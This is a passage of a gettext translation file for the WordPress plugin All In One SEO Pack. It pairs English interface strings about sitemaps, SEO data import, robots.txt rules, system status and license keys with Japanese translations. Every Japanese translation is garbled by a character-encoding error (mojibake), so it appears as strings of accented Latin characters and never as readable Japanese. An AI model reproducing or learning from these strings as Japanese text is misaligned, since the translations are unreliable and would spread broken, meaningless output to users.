´åˆã€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã«å¤‰æ›´ã•れã¾ã›ã‚“。確èªã™ã‚‹ãŸã‚ã«ã€ä»»æ„ã®äº’æ›æ€§ã®ã‚ã‚‹ SEO ã®ãƒ‡ãƒ¼ã‚¿ãŒè¡¨ç¤ºã•れã¾ã™ã€‚投稿ã¾ãŸã¯å›ºå®šãƒšãƒ¼ã‚¸ãŒã™ã§ã« %s ã§ã® SEO データをæŒã£ã¦ã„ã‚‹å ´åˆã€åˆ¥ã®ãƒ—ラグイン/テーマã‹ã‚‰ãƒ‡ãƒ¼ã‚¿ã‚’インãƒãƒ¼ãƒˆã—ã¾ã›ã‚“。" #: admin/meta_import.php:160 msgid "Please Note: " msgstr "注æ„事項:" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/meta_import.php:154 msgid "Click \"Analyze\" for a list of SEO data that can be imported into %s, along with the number of records that will be imported." msgstr "インãƒãƒ¼ãƒˆã•れãŸãƒ¬ã‚³ãƒ¼ãƒ‰ã®æ•°ã¨ä¸€ç·’ã«ã€ %s ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã§ãã‚‹ SEO データã®ãƒªã‚¹ãƒˆã®ãŸã‚ã«\"分æž\" をクリックã—ã¾ã™ã€‚" #: admin/meta_import.php:147 msgid "Use the drop down below to choose which plugin or theme you wish to import SEO data from." msgstr "以下ã®ãƒ‰ãƒ­ãƒƒãƒ—ダウンを使ã„ã€ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹SEOデータã®å…ƒã¨ãªã‚‹ãƒ—ラグインã‹ãƒ†ãƒ¼ãƒžã‚’é¸æŠžã—ã¦ä¸‹ã•ã„。" #: admin/meta_import.php:144 msgid "Import SEO Settings" msgstr "SEO 設定をインãƒãƒ¼ãƒˆ" #: admin/meta_import.php:120 msgid "Conversion Results" msgstr "変æ›çµæžœ" #: admin/meta_import.php:110 msgid "Compatible data:" msgstr "äº’æ›æ€§ã®ã‚るデータ:" #: admin/meta_import.php:107 msgid "

Analyzing records in a %1$s to %2$s conversion…" msgstr "

分æžãƒ¬ã‚³ãƒ¼ãƒ‰ã‚’ %1$s ã‹ã‚‰ %2$s ã¸å¤‰æ›…" #: admin/meta_import.php:102 admin/meta_import.php:124 msgid "Sorry, something went wrong. Please try again" msgstr "何ã‹ãŒãŠã‹ã—ã„よã†ã§ã™ã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。" #: admin/meta_import.php:98 msgid "Analysis Results" msgstr "分æžçµæžœ" #: admin/meta_import.php:65 msgid "SEO Data Import" msgstr "SEO データインãƒãƒ¼ãƒˆ" #: admin/meta_import.php:65 msgid "Import SEO Data" msgstr "SEO データをインãƒãƒ¼ãƒˆ" #: admin/meta_import.php:38 msgid "All in One SEO has been deactivated" msgstr "All in One SEO ã¯ç„¡åŠ¹åŒ–ã•れã¦ã„ã¾ã™" #: admin/meta_import.php:33 msgid "The plugin All-In-One-SEO has been detected. Do you want to %1$simport its settings%2$s?" msgstr "All-In-One-SEO プラグインを検出ã—ã¾ã—ãŸã€‚%1$s設定をインãƒãƒ¼ãƒˆ%2$sã—ã¾ã™ã‹ ?" #. translators: %1$s, %2$s and %3$s are placeholders, which means these #. shouldn't be translated. The first two placeholders are used to add a link #. to anchor text and the third is replaced with the name of the plugin, All in #. One SEO Pack. #: admin/meta_import.php:29 msgid "The plugin Yoast SEO has been detected. Do you want to %1$simport its settings%2$s into %3$s" msgstr "Yoast SEO プラグインを検出ã—ã¾ã—ãŸã€‚%3$s ã«%1$s設定をインãƒãƒ¼ãƒˆ%2$sã—ã¾ã™ã‹ ?" #. translators: this refers to a module that is exclusively available in All in #. One SEO Pack Pro. #: modules/aioseop_feature_manager.php:96 msgid "Pro Version Only" msgstr "プロ版ã®ã¿" #. Description of the plugin msgid "Out-of-the-box SEO for WordPress. Features like XML Sitemaps, SEO for custom post types, SEO for blogs or business sites, SEO for ecommerce sites, and much more. More than 50 million downloads since 2007." msgstr "WordPress ブログã§ã™ãã«ä½¿ãˆã‚‹ SEO。XML サイトマップã€ã‚«ã‚¹ã‚¿ãƒ æŠ•稿タイプ㮠SEOã€ãƒ–ログやビジãƒã‚¹ã‚µã‚¤ãƒˆã® SEOã€e コマースサイト㮠SEO ãªã©ã®æ©Ÿèƒ½ãŒã‚りã¾ã™ã€‚2007年以æ¥ã€ç´„5,000万ダウンロードを誇りã¾ã™ã€‚" #: modules/aioseop_feature_manager.php:88 msgid "Create and manage your Video Sitemap using this feature and submit your Video Sitemap to Google, Bing/Yahoo and Ask.com." msgstr "ã“ã®æ©Ÿèƒ½ã‚’使用ã—ã¦ãƒ“デオサイトマップを作æˆãƒ»ç®¡ç†ã—〠Google, Bing/Yahoo 㨠Ask.com. ã«å‹•画サイトマップをé€ä¿¡ã—ã¦ãã ã•ã„。" #. translators: the Image SEO module allows users to optimize their images for #. search engines. #: modules/aioseop_feature_manager.php:81 msgid "Image SEO" msgstr "ç”»åƒ SEO" #: modules/aioseop_bad_robots.php:26 msgid "Use Custom Blocklists" msgstr "カスタムブロックリストを使用" #: modules/aioseop_bad_robots.php:24 msgid "Block Referral Spam using HTTP" msgstr "HTTP を利用ã—ãŸãƒªãƒ•ァラスパムをブロック" #: modules/aioseop_bad_robots.php:23 msgid "Block Bad Bots using HTTP" msgstr "HTTP を利用ã—ãŸæ‚ªè³ªãªãƒœãƒƒãƒˆã‚’ブロック" #: admin/class-aioseop-helper.php:990 msgid "Block Referral Spam using HTTP." msgstr "HTTP を利用ã—ãŸãƒªãƒ•ァラスパムをブロック。" #: inc/commonstrings.php:109 msgid "Manage Licenses" msgstr "ライセンスã®ç®¡ç†" #: inc/commonstrings.php:112 msgid "Notice: " msgstr "注:" #: inc/commonstrings.php:103 msgid "Need a license key?" msgstr "ライセンスキーãŒå¿…è¦ã§ã™ã‹?" #: inc/commonstrings.php:110 msgid "License Key is not set yet or invalid. " msgstr "ライセンスキーãŒè¨­å®šã•れã¦ã„ãªã„ã‹ã€ç„¡åйã§ã™ã€‚" #: inc/commonstrings.php:104 msgid "Purchase one now" msgstr "今ã™ã購入" #: inc/commonstrings.php:63 msgid "If checked, only posts that have videos in them will be displayed on the sitemap." msgstr "ã‚‚ã—ãƒã‚§ãƒƒã‚¯ã—ãŸã‚‰ã€ãれらã®å‹•ç”»ã®ã‚る投稿ã ã‘サイトマップã«è¡¨ç¤ºã•れるã§ã—ょã†ã€‚" #: inc/commonstrings.php:116 msgid "Show Only Posts With Videos" msgstr "動画をå«ã‚€æŠ•稿ã®ã¿ã‚’表示" #: all_in_one_seo_pack.php:350 admin/display/menu.php:42 msgid "Upgrade to Pro" msgstr "Pro ã¸ã‚¢ãƒƒãƒ—グレード" #: all_in_one_seo_pack.php:339 msgid "Documentation" msgstr "ドキュメンテーション" #: all_in_one_seo_pack.php:329 msgid "SEO Settings" msgstr "SEO 設定" #: aioseop_class.php:4647 aioseop_class.php:4654 msgid "About" msgstr "ã“ã®ãƒ—ラグインã«ã¤ã„ã¦" #: aioseop_class.php:3655 msgid "Debug String" msgstr "デãƒãƒƒã‚°ç”¨æ–‡å­—列" #: aioseop_class.php:2980 msgid "Taxonomy Title Format:" msgstr "タクソノミータイトル形å¼:" #: aioseop_class.php:575 all_in_one_seo_pack.php:334 msgid "Support Forum" msgstr "サãƒãƒ¼ãƒˆãƒ•ォーラム" #: aioseop_class.php:226 msgid "SEO on only these taxonomies:" msgstr "以下ã®ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã®ã¿ SEO:" #: aioseop_class.php:84 msgid "License Key:" msgstr "ライセンスキー:" #: inc/commonstrings.php:21 msgid "This will be the license key received when the product was purchased. This is used for automatic upgrades." msgstr "製å“を購入ã—ãŸéš›ã«å—ã‘å–ã£ãŸãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã‚­ãƒ¼ã§ã™ã€‚自動アップグレードã«ä½¿ç”¨ã—ã¾ã™ã€‚" #: modules/aioseop_opengraph.php:308 msgid "Facebook App ID" msgstr "Facebook App ID" #: modules/aioseop_opengraph.php:303 msgid "Facebook Admin ID" msgstr "Facebook 管ç†è€… ID" #: admin/class-aioseop-helper.php:793 msgid "Enter your Facebook App ID here. Information about how to get your Facebook App ID can be found at https://developers.facebook.com/docs/apps/register" msgstr "Facebook ã® App ID ã‚’ã“ã“ã«å…¥åŠ›ã—ã¦ãã ã•ã„。Facebook App ID ã®å–得方法ã«ã¤ã„ã¦ã¯ https://developers.facebook.com/docs/apps/register ã‚’ã”覧ãã ã•ã„。" #. Author of the plugin msgid "Michael Torbert" msgstr "Michael Torbert" #. Plugin Name of the plugin msgid "All In One SEO Pack" msgstr "All In One SEO Pack" #: admin/display/notices/sitemap-indexes-notice.php:28 msgid "Update Sitemap Settings" msgstr "サイトマップ設定を更新ã—ã¾ã—ãŸã€‚" #. translators: Notifies the admin which sitemaps failed to notify with which #. search engine(s). #: modules/aioseop_sitemap.php:1719 msgid "Failed to notify %1$s about changes to your sitemap at %2$s, unable to access via wp_remote_get()." msgstr "サイトマップã®å¤‰æ›´ã«ã¤ã„㦠%1$s ã¸ã®é€šçŸ¥ã« %2$s ã«ãŠã„ã¦å¤±æ•—ã—ã¾ã—ãŸã€‚ wp_remote_get() çµŒç”±ã§æŽ¥ç¶šå‡ºæ¥ã¾ã›ã‚“。" #. translators: Notifies the admin which sitemaps failed to notify with which #. search engine(s), and display the error code. #: modules/aioseop_sitemap.php:1715 msgid "Failed to notify %1$s about changes to your sitemap at %2$s, error code %3$s." msgstr "%1$s ã¸ã® %2$s ã®ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—変更通知ã«å¤±æ•—ã—ã¾ã—ãŸã€‚エラーコード㯠%3$s ã§ã™ã€‚" #: modules/aioseop_sitemap.php:1532 msgid "static" msgstr "固定" #: modules/aioseop_sitemap.php:1534 msgid "dynamic" msgstr "å‹•çš„" #: modules/aioseop_sitemap.php:1397 msgid "Delete Conflicting Files" msgstr "è¡çªãƒ•ァイルを削除" #: modules/aioseop_sitemap.php:1398 msgid "Rename Conflicting Files" msgstr "è¡çªãƒ•ァイルã®åå‰ã‚’変更" #. translators: Shows which 'unknown' file is conflicting with the current #. sitemap settings. #: modules/aioseop_sitemap.php:1352 msgid "Potential conflict with unknown file %s." msgstr "未知ã®ãƒ•ァイル %s ã®ç«¶åˆã™ã‚‹å¯èƒ½æ€§ã€‚" #: modules/aioseop_sitemap.php:1341 msgid "Warning: a static sitemap '%1$s' generated by %2$s %3$s on %4$s already exists that may conflict with dynamic sitemap generation." msgstr "警告: %4$s ã§ %2$s %3$s ãŒã™ã§ã«ç”Ÿæˆæ¸ˆã¿ã®é™çš„サイトマップ '%1$s' ãŒã€å‹•的サイトマップ生æˆã¨ç«¶åˆã™ã‚‹å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚" #. translators: Shows which sitemap files couldn't be found. #: modules/aioseop_sitemap.php:1253 msgid "Couldn't find file %s!" msgstr "%s ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“。" #. translators: Shows which sitemap files couldn't be renamed. #: modules/aioseop_sitemap.php:1243 msgid "Couldn't rename file %s!" msgstr "%s をリãƒãƒ¼ãƒ ã§ãã¾ã›ã‚“。" #. translators: Shows which sitemap files have been deleted. #: modules/aioseop_sitemap.php:1232 msgid "Deleted %s." msgstr "%sを削除ã—ã¾ã—ãŸã€‚" #: modules/aioseop_sitemap.php:1211 msgid "Warning: dynamic sitemap generation must have permalinks enabled." msgstr "警告:動的ãªã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã®ç”Ÿæˆã¯ãƒ‘ーマリンクを有効ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚" #. translators: Link to settings to disable "Discourage search engines from #. indexing this site". #: modules/aioseop_sitemap.php:946 msgid "Warning: your privacy settings are configured to ask search engines to not index your site; you can change this under %s for your site." msgstr "警告:サイトãŒã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã•れãªã„ã‚ˆã†æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã—プライãƒã‚·ãƒ¼è¨­å®šæ§‹ç¯‰ã•れã¾ã™ã€‚; サイトã®ãŸã‚ã« %s ã®ä¸‹ã«ã“れを変更ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: modules/aioseop_sitemap.php:944 #: admin/display/notices/blog-visibility-notice.php:21 msgid "Reading Settings" msgstr "表示設定" #: modules/aioseop_sitemap.php:940 msgid "Dynamic sitemap generation does not appear to be using the correct rewrite rules; please disable any other sitemap plugins or functionality on your site and reset your permalinks." msgstr "ダイナミックサイトマップ生æˆã§æ­£ã—ã„リライトルールãŒä½¿ç”¨ã•れã¦ã„ãªã„よã†ã§ã™ã€‚ サイトã®ä»–ã®ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—プラグインや機能を無効ã«ã—ã¦ã€ãƒ‘ーマリンクをリセットã—ã¦ãã ã•ã„。" #: modules/aioseop_sitemap.php:831 msgid "Update Sitemap" msgstr "サイトマップを更新" #: modules/aioseop_sitemap.php:741 inc/commonstrings.php:47 msgid "Taxonomy" msgstr "タクソノミー" #: modules/aioseop_sitemap.php:740 msgid "Post Type" msgstr "投稿タイプ" #: modules/aioseop_sitemap.php:705 msgid "All Taxonomies" msgstr "ã™ã¹ã¦ã®ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼" #: modules/aioseop_sitemap.php:704 msgid "All Post Types" msgstr "ã™ã¹ã¦ã®æŠ•稿タイプ" #: aioseop_class.php:2908 aioseop_class.php:2911 #: modules/aioseop_sitemap.php:702 admin/aioseop_module_class.php:843 msgid "Media / Attachments" msgstr "メディア・添付ファイル" #: modules/aioseop_sitemap.php:537 msgid "Daily scheduled sitemap check has finished." msgstr "日次スケジュールã•れãŸã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ãƒã‚§ãƒƒã‚¯ãŒçµ‚了ã—ã¾ã—ãŸã€‚" #: modules/aioseop_sitemap.php:514 msgid "Once Monthly" msgstr "月1回" #: modules/aioseop_sitemap.php:510 msgid "Once Weekly" msgstr "週1回" #: modules/aioseop_sitemap.php:370 msgid "Frequencies" msgstr "頻度" #: modules/aioseop_sitemap.php:363 msgid "Priorities" msgstr "優先順ä½" #: modules/aioseop_sitemap.php:357 msgid "Excluded Items" msgstr "除外項目" #: modules/aioseop_sitemap.php:345 msgid "Excluded Pages" msgstr "除外ページ" #: modules/aioseop_sitemap.php:330 msgid "Add URL" msgstr "URL を追加" #: modules/aioseop_sitemap.php:323 modules/aioseop_sitemap.php:351 msgid "Additional Pages" msgstr "追加ページ" #: modules/aioseop_sitemap.php:317 msgid "Last Modified" msgstr "最終編集日" #: modules/aioseop_sitemap.php:311 msgid "Page Frequency" msgstr "ページ頻度" #: modules/aioseop_sitemap.php:305 msgid "Page Priority" msgstr "ページ優先度" #: modules/aioseop_sitemap.php:300 msgid "Page URL" msgstr "ページ URL" #: modules/aioseop_sitemap.php:294 msgid "Enter information below for any additional links for your sitemap not already managed through WordPress." msgstr "WordPress ã®ç®¡ç†ä¸‹ã«ãªã„サイトマップã¸ã®ãƒªãƒ³ã‚¯ã®è¿½åŠ ã¯ã€ä»¥ä¸‹ã«æƒ…報を入力ã—ã¦ãã ã•ã„。" #. translators: %1$s and %2$s are placeholders, which means that it should not #. be translated. They will be replaced with nouns in the application. #: admin/class-aioseop-helper.php:660 admin/class-aioseop-helper.php:661 #: admin/class-aioseop-helper.php:662 admin/class-aioseop-helper.php:663 #: admin/class-aioseop-helper.php:664 admin/class-aioseop-helper.php:667 #: admin/class-aioseop-helper.php:668 admin/class-aioseop-helper.php:669 #: admin/class-aioseop-helper.php:670 admin/class-aioseop-helper.php:671 #: admin/class-aioseop-helper.php:682 admin/class-aioseop-helper.php:683 #: admin/class-aioseop-helper.php:690 admin/class-aioseop-helper.php:691 #: inc/commonstrings.php:72 msgid "Manually set the %1$s of your %2$s." msgstr "%2$sã®%1$sを手動ã§è¨­å®šã—ã¾ã™ã€‚" #: modules/aioseop_sitemap.php:269 msgid "author pages" msgstr "投稿者ページ" #: modules/aioseop_sitemap.php:268 msgid "archive pages" msgstr "アーカイブページ" #: modules/aioseop_sitemap.php:267 msgid "taxonomies" msgstr "タクソノミー" #: modules/aioseop_sitemap.php:266 msgid "posts" msgstr "投稿" #: modules/aioseop_sitemap.php:265 msgid "homepage" msgstr "ホームページ" #: modules/aioseop_sitemap.php:258 admin/class-aioseop-helper.php:667 #: admin/class-aioseop-helper.php:668 admin/class-aioseop-helper.php:669 #: admin/class-aioseop-helper.php:670 admin/class-aioseop-helper.php:671 #: admin/class-aioseop-helper.php:683 admin/class-aioseop-helper.php:691 msgid "frequency" msgstr "頻度" #: modules/aioseop_sitemap.php:257 admin/class-aioseop-helper.php:660 #: admin/class-aioseop-helper.php:661 admin/class-aioseop-helper.php:662 #: admin/class-aioseop-helper.php:663 admin/class-aioseop-helper.php:664 #: admin/class-aioseop-helper.php:682 admin/class-aioseop-helper.php:690 #: inc/commonstrings.php:73 msgid "priority" msgstr "優先順ä½" #: modules/aioseop_sitemap.php:244 msgid "Select Individual" msgstr "個別ã«é¸æŠž" #: modules/aioseop_sitemap.php:243 msgid "Do Not Override" msgstr "上書ãã—ãªã„" #: modules/aioseop_sitemap.php:227 msgid "Sitemap Status" msgstr "サイトマップã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹" #: modules/aioseop_sitemap.php:211 msgid "Dynamically Generate Sitemap" msgstr "サイトマップを動的ã«ç”Ÿæˆ" #: modules/aioseop_sitemap.php:208 msgid "Include Author Pages" msgstr "投稿者ページをå«ã‚ã‚‹" #: modules/aioseop_sitemap.php:207 msgid "Include Date Archive Pages" msgstr "日別アーカイブページをå«ã‚ã‚‹" #: modules/aioseop_sitemap.php:203 admin/class-aioseop-helper.php:662 #: admin/class-aioseop-helper.php:669 inc/commonstrings.php:76 msgid "Taxonomies" msgstr "タクソノミー" #: modules/aioseop_sitemap.php:198 msgid "Post Types" msgstr "投稿タイプ" #: modules/aioseop_sitemap.php:189 msgid "Maximum Posts Per Sitemap Page" msgstr "サイトマップページã‚ãŸã‚Šã®æœ€å¤§æŠ•稿数" #: modules/aioseop_sitemap.php:185 msgid "Enable Sitemap Indexes" msgstr "サイトマップインデックスを有効化" #: modules/aioseop_sitemap.php:180 msgid "Monthly" msgstr "月" #: modules/aioseop_sitemap.php:179 msgid "Weekly" msgstr "毎週" #: modules/aioseop_sitemap.php:178 msgid "Daily" msgstr "毎日" #: modules/aioseop_sitemap.php:177 msgid "No Schedule" msgstr "予約ãªã—" #: modules/aioseop_sitemap.php:174 msgid "Schedule Updates" msgstr "更新を予約" #: admin/class-aioseop-helper.php:657 inc/commonstrings.php:70 msgid "Use page slugs or page IDs, separated by commas, to exclude pages from the sitemap." msgstr "サイトマップã‹ã‚‰å›ºå®šãƒšãƒ¼ã‚¸ã‚’除外ã™ã‚‹å ´åˆã¯ã€å›ºå®šãƒšãƒ¼ã‚¸ã‚¹ãƒ©ãƒƒã‚°ã¾ãŸã¯å›ºå®šãƒšãƒ¼ã‚¸ ID をカンマã§åŒºåˆ‡ã£ã¦ä½¿ç”¨ã—ã¾ã™ã€‚" #: inc/commonstrings.php:69 msgid "Entries from these taxonomy terms will be excluded from the sitemap." msgstr "ã“ã®ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã®é …ç›®ã¯ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã‹ã‚‰é™¤å¤–ã•れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:655 inc/commonstrings.php:68 msgid "Last modified date of the page." msgstr "ãƒšãƒ¼ã‚¸ã®æœ€çµ‚更新日。" #: admin/class-aioseop-helper.php:654 inc/commonstrings.php:67 msgid "The frequency of the page." msgstr "ページã®é »åº¦ã€‚" #: admin/class-aioseop-helper.php:653 inc/commonstrings.php:66 msgid "The priority of the page." msgstr "ページã®å„ªå…ˆé †ä½ã€‚" #: admin/class-aioseop-helper.php:650 inc/commonstrings.php:61 msgid "Places a link to your Sitemap.xml into your virtual Robots.txt file." msgstr "仮想 Robots.txt ファイル㫠Sitemap.xml ã¸ã®ãƒªãƒ³ã‚¯ã‚’é…ç½®ã—ã¾ã™ã€‚" #: inc/commonstrings.php:60 msgid "Create a compressed sitemap file in .xml.gz format." msgstr " .xml.gz フォーマットã«åœ§ç¸®ã—ãŸã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ファイルを作æˆã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:648 inc/commonstrings.php:58 msgid "Include Author Archives in your sitemap." msgstr "ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã«æŠ•ç¨¿è€…ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã‚’å«ã‚ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:647 inc/commonstrings.php:57 msgid "Include Date Archives in your sitemap." msgstr "ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã«æ—¥ä»˜ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã‚’å«ã‚ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:646 inc/commonstrings.php:56 msgid "Select which taxonomy archives appear in your sitemap" msgstr "サイトマップ内ã«è¡¨ç¤ºã™ã‚‹ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã‚’é¸æŠžã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:645 inc/commonstrings.php:55 msgid "Select which Post Types appear in your sitemap." msgstr "サイトマップ内ã«è¡¨ç¤ºã™ã‚‹æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:644 inc/commonstrings.php:54 msgid "Allows you to specify the maximum number of posts in a sitemap (up to 50,000)." msgstr "ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—å†…ã®æœ€å¤§æŠ•稿数を指定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™(最大50,000)。" #: admin/class-aioseop-helper.php:643 inc/commonstrings.php:53 msgid "Organize sitemap entries into distinct files in your sitemap. Enable this only if your sitemap contains over 50,000 URLs or the file is over 5MB in size." msgstr "サイトマップ内ã®å€‹åˆ¥ã®ãƒ•ァイルã«ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã®ã‚¨ãƒ³ãƒˆãƒªã‚’æ•´ç†ã—ã¾ã™ã€‚サイトマップã¯ã€50,000以上ã®URLãŒå«ã¾ã‚Œã¦ã„ã‚‹ã‹ã€ãƒ•ァイルã®ã‚µã‚¤ã‚ºã¯5メガãƒã‚¤ãƒˆã‚’è¶…ãˆã¦ã„ã‚‹å ´åˆã«ã®ã¿æœ‰åйã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:642 inc/commonstrings.php:52 msgid "Notify search engines based on the selected schedule, and also update static sitemap daily if in use. (this uses WP-Cron, so make sure this is working properly on your server as well)" msgstr "é¸æŠžã—ãŸã‚¹ã‚±ã‚¸ãƒ¥ãƒ¼ãƒ«ã«åŸºã¥ã„ã¦ã€æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«é€šçŸ¥ã—ã€ã¾ãŸæ—¥ã€…ã€ä½¿ç”¨ä¸­ã®é™çš„ãªã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã‚’æ›´æ–°ã—ã¾ã™ã€‚( WP-cron ãŒã‚µãƒ¼ãƒãƒ¼ä¸Šã§æ­£å¸¸ã«å‹•作ã—ã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã€ä½¿ç”¨ã—ã¾ã™ï¼‰" #: modules/aioseop_sitemap.php:161 msgid "XML Sitemap" msgstr "XML サイトマップ" #: modules/aioseop_robots.php:85 msgid "Create a Robots.txt File" msgstr "Robots.txt ファイルを作æˆ" #: modules/aioseop_robots.php:56 msgid "Add Rule" msgstr "ルールを追加" #: modules/aioseop_robots.php:48 admin/class-aioseop-helper.php:925 msgid "Directory Path" msgstr "ディレクトリパス" #: modules/aioseop_robots.php:35 admin/class-aioseop-helper.php:924 msgid "User Agent" msgstr "ユーザーエージェント" #: admin/class-aioseop-helper.php:923 msgid "Rule Type" msgstr "ルールã®ç¨®é¡ž" #: modules/aioseop_performance.php:338 msgid "Submit" msgstr "é€ä¿¡" #: modules/aioseop_performance.php:337 msgid "E-mail debug information" msgstr "デãƒãƒƒã‚°æƒ…報をメールã§é€ä¿¡" #: modules/aioseop_performance.php:326 msgid "Error: please enter an e-mail address before submitting." msgstr "エラー: é€ä¿¡å‰ã«ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’入力ã—ã¦ãã ã•ã„。" #: modules/aioseop_performance.php:323 msgid "Failed to send to %s." msgstr "%s ã«é€ä¿¡ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: modules/aioseop_performance.php:321 msgid "Sent to %s." msgstr "%s ã«é€ä¿¡ã—ã¾ã—ãŸã€‚" #: modules/aioseop_performance.php:320 msgid "SFWD Debug Mail From Site %s." msgstr "%s ã‹ã‚‰ã® SFWD デãƒãƒƒã‚°ãƒ¡ãƒ¼ãƒ«ã€‚" #: modules/aioseop_performance.php:282 msgid "Form submission error: verification check failed." msgstr "フォームé€ä¿¡ã‚¨ãƒ©ãƒ¼: å…¥åŠ›å€¤ã®æ¤œè¨¼ã«å¤±æ•—ã—ã¾ã—ãŸã€‚" #: modules/aioseop_performance.php:243 msgid "Active Theme" msgstr "ç¾åœ¨ã®ãƒ†ãƒ¼ãƒž" #: modules/aioseop_performance.php:242 msgid "Multisite" msgstr "マルãƒã‚µã‚¤ãƒˆ" #: modules/aioseop_performance.php:241 msgid "WordPress DB Version" msgstr "WordPress ã®ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³" #: modules/aioseop_performance.php:240 msgid "WordPress Version" msgstr "WordPress ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³" #: modules/aioseop_performance.php:239 msgid "Home URL" msgstr "ホーム URL" #: modules/aioseop_performance.php:238 msgid "Site URL" msgstr "サイト URL" #: modules/aioseop_performance.php:237 msgid "PHP XML support" msgstr "PHP XML サãƒãƒ¼ãƒˆ" #: modules/aioseop_performance.php:236 msgid "PHP IPTC support" msgstr "PHP IPTC サãƒãƒ¼ãƒˆ" #: modules/aioseop_performance.php:235 msgid "PHP Exif support" msgstr "PHP Exif サãƒãƒ¼ãƒˆ" #: modules/aioseop_performance.php:234 msgid "PHP Max Script Execute Time" msgstr "PHP 最大スクリプト実行時間" #: modules/aioseop_performance.php:233 msgid "PHP Max Post Size" msgstr "PHP 最大ãƒã‚¹ãƒˆã‚µã‚¤ã‚º" #: modules/aioseop_performance.php:232 msgid "PHP Max Upload Size" msgstr "PHP最大アップロードサイズ" #: modules/aioseop_performance.php:231 msgid "PHP Memory Limit" msgstr "PHP メモリー制é™" #: modules/aioseop_performance.php:230 msgid "PHP Allow URL fopen" msgstr "PHP URL fopen を許å¯" #: modules/aioseop_performance.php:229 msgid "PHP Version" msgstr "PHP ãƒãƒ¼ã‚¸ãƒ§ãƒ³" #: modules/aioseop_performance.php:228 msgid "SQL Mode" msgstr "SQL モード" #: modules/aioseop_performance.php:227 msgid "MYSQL Version" msgstr "MYSQL ãƒãƒ¼ã‚¸ãƒ§ãƒ³" #: modules/aioseop_performance.php:226 msgid "Memory usage" msgstr "メモリー使用" #: modules/aioseop_performance.php:225 msgid "Server" msgstr "サーãƒãƒ¼" #: modules/aioseop_performance.php:224 msgid "Operating System" msgstr "オペレーション・システム" #: modules/aioseop_performance.php:186 modules/aioseop_performance.php:191 #: modules/aioseop_performance.php:196 modules/aioseop_performance.php:205 msgid "Yes" msgstr "ã¯ã„" #: modules/aioseop_performance.php:181 msgid " MByte" msgstr " メガãƒã‚¤ãƒˆ" #: modules/aioseop_performance.php:163 modules/aioseop_performance.php:168 #: modules/aioseop_performance.php:173 modules/aioseop_performance.php:178 #: modules/aioseop_performance.php:183 modules/aioseop_performance.php:210 msgid "N/A" msgstr "該当ãªã—" #: modules/aioseop_performance.php:158 msgid "Off" msgstr "オフ" #: modules/aioseop_performance.php:156 msgid "On" msgstr "オン" #: modules/aioseop_performance.php:153 msgid "Not set" msgstr "未設定" #: modules/aioseop_performance.php:73 msgid "System Status" msgstr "システム状æ³" #: modules/aioseop_performance.php:43 msgid "No limit" msgstr "無制é™" #: modules/aioseop_performance.php:34 msgid "Raise execution time" msgstr "実行時間を延長ã™ã‚‹" #: modules/aioseop_performance.php:26 modules/aioseop_performance.php:38 msgid "Use the system default" msgstr "システム標準を使ã†" #: modules/aioseop_performance.php:22 msgid "Raise memory limit" msgstr "メモリ上é™ã‚’上ã’ã‚‹" #: admin/class-aioseop-helper.php:613 msgid "Use output buffering to ensure that the title gets rewritten. Enable this option if you run into issues with the title tag being set by your theme or another plugin." msgstr "出力ãƒãƒƒãƒ•ァリングを使用ã—ã¦ã€ã‚¿ã‚¤ãƒˆãƒ«ãŒç¢ºå®Ÿã«æ›¸ãæ›ãˆã‚‰ã‚Œã‚‹ã‚ˆã†ã«ã—ã¾ã™ã€‚テーマや他ã®ãƒ—ラグインã«ã‚ˆã‚‹ã‚¿ã‚¤ãƒˆãƒ«ã‚¿ã‚°ã®æ›¸ãæ›ãˆãŒç™ºç”Ÿã—ã¦ã—ã¾ã†å 